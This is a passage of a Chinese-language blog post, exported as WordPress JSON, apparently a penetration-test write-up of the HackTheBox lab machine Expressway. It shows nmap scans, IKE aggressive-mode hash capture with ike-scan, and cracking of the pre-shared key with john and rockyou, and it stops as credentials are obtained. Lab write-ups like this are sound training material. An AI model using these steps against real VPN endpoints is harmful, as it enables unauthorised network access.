{"id":330,"date":"2025-10-27T19:04:53","date_gmt":"2025-10-27T11:04:53","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=330"},"modified":"2026-01-29T16:18:59","modified_gmt":"2026-01-29T08:18:59","slug":"330","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2025\/10\/27\/330\/","title":{"rendered":"HTB\u9776\u673a Expressway \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"
\n

\u76ee\u6807\u4fe1\u606f<\/h1>\n

IP\u5730\u5740\uff1a<\/strong>10.10.11.87<\/strong><\/code><\/p><\/blockquote>\n

\n

\u4fe1\u606f\u6536\u96c6<\/h1>\n

ICMP\u68c0\u6d4b<\/h2>\n
\u250c\u2500\u2500(root\u327fmisaka19008-PC)-[\/home\/\u2026\/Documents\/pentest_notes\/expressway\/nmap_reports]\n\u2514\u2500# ping -c 4 10.10.11.87\nPING 10.10.11.87 (10.10.11.87) 56(84) bytes of data.\n64 bytes from 10.10.11.87: icmp_seq=1 ttl=63 time=253 ms\n64 bytes from 10.10.11.87: icmp_seq=2 ttl=63 time=254 ms\n64 bytes from 10.10.11.87: icmp_seq=3 ttl=63 time=252 ms\n64 bytes from 10.10.11.87: icmp_seq=4 ttl=63 time=252 ms\n\n--- 10.10.11.87 ping statistics ---\n4 packets transmitted, 4 received, 0% packet loss, time 3006ms\nrtt min\/avg\/max\/mdev = 251.698\/252.557\/253.521\/0.646 ms<\/code><\/pre>\n
\u653b\u51fb\u673a\u548c\u9776\u673a\u95f4\u7f51\u7edc\u8fde\u63a5\u6b63\u5e38\u3002<\/p>\n
\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n
# Nmap 7.95 scan initiated Sat Oct  4 12:30:23 2025 as: \/usr\/lib\/nmap\/nmap -sF -p- --min-rate 3000 -oN fin_result.txt 10.10.11.87\nWarning: 10.10.11.87 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.10.11.87\nHost is up (0.25s latency).\nNot shown: 65534 closed tcp ports (reset)\nPORT   STATE         SERVICE\n22\/tcp open|filtered ssh\n\n# Nmap done at Sat Oct  4 12:31:05 2025 -- 1 IP address (1 host up) scanned in 41.89 seconds<\/code><\/pre>\n
\u53d1\u73b0\u9776\u673a\u9632\u706b\u5899\u5f00\u653e\u4e8622\/tcp<\/code>\u7aef\u53e3\u3002<\/p>\n
\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n
TCP<\/strong><\/code>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
# Nmap 7.95 scan initiated Sat Oct  4 12:34:14 2025 as: \/usr\/lib\/nmap\/nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_result.txt 10.10.11.87\nWarning: 10.10.11.87 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.10.11.87\nHost is up (0.23s latency).\nNot shown: 63948 closed tcp ports (conn-refused), 1586 filtered tcp ports (no-response)\nPORT   STATE SERVICE VERSION\n22\/tcp open  ssh     OpenSSH 10.0p2 Debian 8 (protocol 2.0)\nDevice type: general purpose\nRunning: Linux 4.X|5.X\nOS CPE: cpe:\/o:linux:linux_kernel:4 cpe:\/o:linux:linux_kernel:5\nOS details: Linux 4.15 - 5.19\nNetwork Distance: 2 hops\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nTRACEROUTE (using proto 1\/icmp)\nHOP RTT       ADDRESS\n1   274.33 ms 10.10.14.1\n2   274.47 ms 10.10.11.87\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Sat Oct  4 12:35:22 2025 -- 1 IP address (1 host up) scanned in 68.53 seconds<\/code><\/pre>\n
UDP<\/strong><\/code>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
# Nmap 7.95 scan initiated Sat Oct  4 12:36:02 2025 as: \/usr\/lib\/nmap\/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.10.11.87\nWarning: 10.10.11.87 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.10.11.87\nHost is up (0.31s latency).\nNot shown: 65291 open|filtered udp ports (no-response), 243 closed udp ports (port-unreach)\nPORT    STATE SERVICE\n500\/udp open  isakmp\n\n# Nmap done at Sat Oct  4 12:40:13 2025 -- 1 IP address (1 host up) scanned in 250.78 seconds<\/code><\/pre>\n
UDP<\/strong><\/code>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
# Nmap 7.95 scan initiated Sat Oct  4 12:44:05 2025 as: \/usr\/lib\/nmap\/nmap -sC -sU -sV -A -p500 -oN udp_result.txt 10.10.11.87\nNmap scan report for 10.10.11.87\nHost is up (0.34s latency).\n\nPORT    STATE SERVICE VERSION\n500\/udp open  isakmp?\n| ike-version: \n|   attributes: \n|     XAUTH\n|_    Dead Peer Detection v1.0\nToo many fingerprints match this host to give specific OS details\nNetwork Distance: 2 hops\n\nTRACEROUTE (using port 80\/tcp)\nHOP RTT       ADDRESS\n1   383.89 ms 10.10.14.1\n2   393.68 ms 10.10.11.87\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Sat Oct  4 12:46:30 2025 -- 1 IP address (1 host up) scanned in 144.95 seconds<\/code><\/pre>\n
\u7ecf\u7f51\u7edc\u626b\u63cf\uff0c\u53d1\u73b0\u9776\u673a\u64cd\u4f5c\u7cfb\u7edf\u4e3aDebian Linux<\/code>\uff0c\u5f00\u653e\u4e8622\/ssh<\/code>\u548c500\/ikevpn<\/code>\u670d\u52a1\uff0c\u6839\u636eHackTheBox<\/code>\u9776\u673a\u547d\u540d\u89c4\u5219\uff0c\u57df\u540d\u5e94\u4e3aexpressway.htb<\/code>\u3002<\/p>\n
\n
\u670d\u52a1\u63a2\u6d4b<\/h1>\n
SSH\u670d\u52a1\uff0822\u7aef\u53e3\uff09<\/h2>\n
\u4f7f\u7528root<\/code>\u7528\u6237\u8fde\u63a5SSH<\/code>\u670d\u52a1\uff0c\u786e\u5b9a\u9776\u673a\u542f\u7528\u7684\u767b\u5f55\u65b9\u5f0f\uff1a<\/p>\n
ssh root@expressway.htb<\/code><\/pre>\n
\"\"<\/p>\n
\u786e\u5b9a\u9776\u673a\u53ef\u4f7f\u7528\u5bc6\u94a5\u548c\u5bc6\u7801\u4e24\u79cd\u65b9\u6cd5\u767b\u5f55\u3002<\/p>\n
IKE VPN\u670d\u52a1\uff08UDP500\u7aef\u53e3\uff09<\/h2>\n
\u5c1d\u8bd5\u4f7f\u7528ike-scan<\/code>\u5de5\u5177\uff0c\u5411\u9776\u673aIKE VPN<\/code>\u670d\u52a1\u53d1\u9001fakeID<\/code>\u63a2\u6d4b\u7ec4\u540d\u4ee5\u53ca\u6355\u83b7\u54c8\u5e0c\uff1a<\/p>\n
ike-scan -P -M -A -n fakeID 10.10.11.87<\/code><\/pre>\n
\"\"<\/p>\n
\u6210\u529f\u6355\u83b7\u8fd4\u56de\u54c8\u5e0c\u503c\uff01\u9664\u6b64\u4ee5\u5916\uff0c\u8fd8\u53d1\u73b0IKE<\/code>\u670d\u52a1\u767b\u5f55\u7528\u6237\u540d\u4e3aike<\/code>\uff0c\u4e3b\u673a\u540d\u4e3aexpressway.htb<\/code>\uff0c\u9a8c\u8bc1\u65b9\u6cd5\u4e3aPSK<\/code>\u9884\u5171\u4eab\u5bc6\u94a5\u3002<\/p>\n
\n
\u6e17\u900f\u6d4b\u8bd5<\/h1>\n
\u7834\u89e3IKE VPN\u9884\u5171\u4eab\u5bc6\u94a5<\/h2>\n
\u5728\u670d\u52a1\u63a2\u6d4b\u9636\u6bb5\uff0c\u6211\u4eec\u5df2\u7ecf\u6210\u529f\u4f7f\u7528ike-scan<\/code>\u5de5\u5177\u5411IKE<\/code>\u670d\u52a1\u53d1\u9001fakeID<\/code>\uff0c\u5e76\u6355\u83b7\u4e86PSK<\/code>\u5bc6\u94a5\u54c8\u5e0c\uff0c\u4ee5\u53ca\u786e\u5b9a\u4e86\u767b\u5f55\u7528\u6237\u540d\uff0c\u73b0\u5728\u5c1d\u8bd5\u8fdb\u884c\u54c8\u5e0c\u7206\u7834\u3002<\/p>\n
\u9996\u5148\u5728ike-scan<\/code>\u547d\u4ee4\u4e2d\u6dfb\u52a0--pskcrack<\/code>\u53c2\u6570\uff0c\u5c06\u54c8\u5e0c\u4fdd\u5b58\u5230\u672c\u5730\u6587\u4ef6\uff1a<\/p>\n
ike-scan -P -M -A -n fakeID --pskcrack=ike_connhash.txt 10.10.11.87<\/code><\/pre>\n
\u968f\u540e\u4f7f\u7528ikescan2john<\/code>\u5de5\u5177\u8ba1\u7b97\u53ef\u7834\u89e3\u54c8\u5e0c\u503c\uff0c\u63a5\u7740\u4f7f\u7528john<\/code>\u5de5\u5177\u7206\u7834\uff1a<\/p>\n
ikescan2john .\/ike_connhash.txt > ike_userhash.txt\njohn .\/ike_userhash.txt --wordlist=\/usr\/share\/wordlists\/rockyou.txt<\/code><\/pre>\n
\"\"<\/p>\n
\u6210\u529f\u83b7\u53d6\u7528\u6237\u51ed\u636e\uff1a<\/p>\n